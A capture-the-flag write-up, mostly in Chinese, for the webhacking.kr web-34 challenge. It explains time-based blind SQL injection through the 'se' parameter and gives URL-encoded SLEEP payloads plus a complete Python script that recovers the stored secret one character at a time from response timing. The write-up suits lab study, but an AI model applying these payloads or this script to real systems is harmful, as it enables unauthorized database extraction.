Challenge
Extract the flag stored in the secret field through a timing
oracle.
通过 timing oracle 提取 secret 字段中的 flag。
1 https://webhacking.kr/challenge/web-34/
Analysis
服务端把 se 直接拼入 INSERT 的数值位置,并过滤
select、and、or、not、&、|
和
benchmark。IF、LENGTH、ASCII、SUBSTR
与 SLEEP 仍可使用,因此可以用响应时间区分条件真假。
条件为真时执行 SLEEP(2),条件为假时执行
SLEEP(0)。位置参数按 MySQL 字符串函数约定从 1
开始。发送请求时必须测量整个 HTTP
请求耗时,并以明显高于正常响应的延迟作为 true
oracle,而不是依赖页面正文。
Solution
基础长度探针:
1 https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28LENGTH%28pw%29%3DN%2CSLEEP%282%29%2CSLEEP%280%29%29
其中 N 替换为待测试长度。单字符探针:
1 https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28ASCII%28SUBSTR%28pw%2CN%2C1%29%29%3DC%2CSLEEP%282%29%2CSLEEP%280%29%29
其中 N 是 1-based 位置,C 是待测试字符的
ASCII 数值。以下脚本包含长度枚举、字符枚举、请求参数编码、延迟阈值和
entry point;它不包含任何真实 cookie:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import osimport stringimport timeimport requestsBASE_URL = os.environ.get("WEBHACKING_BASE" , "https://webhacking.kr" ) ENDPOINT = f"{BASE_URL} /challenge/web-34/" SESSION_ID = os.environ.get("CHALLENGE_SESSION" , "" ) SLEEP_SECONDS = 2 DELAY_THRESHOLD = 1.5 MAX_LENGTH = 64 CHARACTERS = string.ascii_letters + string.digits + string.punctuation def make_session (): session = requests.Session() session.headers.update({"User-Agent" : "old-57-writeup/1.0" }) if SESSION_ID: session.cookies.set ("PHPSESSID" , SESSION_ID, domain="webhacking.kr" , path="/" ) return session def request_is_true (session, condition ): expression = ( f"IF({condition} ,SLEEP({SLEEP_SECONDS} ),SLEEP(0))" ) started = time.monotonic() response = session.get( ENDPOINT, params={"msg" : "a" , "se" : expression}, timeout=SLEEP_SECONDS + 10 , ) elapsed = time.monotonic() - started response.raise_for_status() return elapsed >= DELAY_THRESHOLD def discover_length (session ): for length in range (1 , MAX_LENGTH + 1 ): if request_is_true(session, f"LENGTH(pw)={length} " ): return length raise RuntimeError("password length was not found" ) def recover_flag (session, length ): flag = "" for position in range (1 , length + 1 ): for character in CHARACTERS: code = ord (character) condition = f"ASCII(SUBSTR(pw,{position} ,1))={code} " if request_is_true(session, condition): flag += character print (flag) break else : raise RuntimeError(f"no character matched at position {position} " ) return flag def main (): session = make_session() length = discover_length(session) print (f"length={length} " ) flag = recover_flag(session, length) print (f"flag={flag} " ) if __name__ == "__main__" : main()
Timing oracle 对网络抖动敏感;SLEEP_SECONDS 和
DELAY_THRESHOLD 需要根据当前网络基线调整。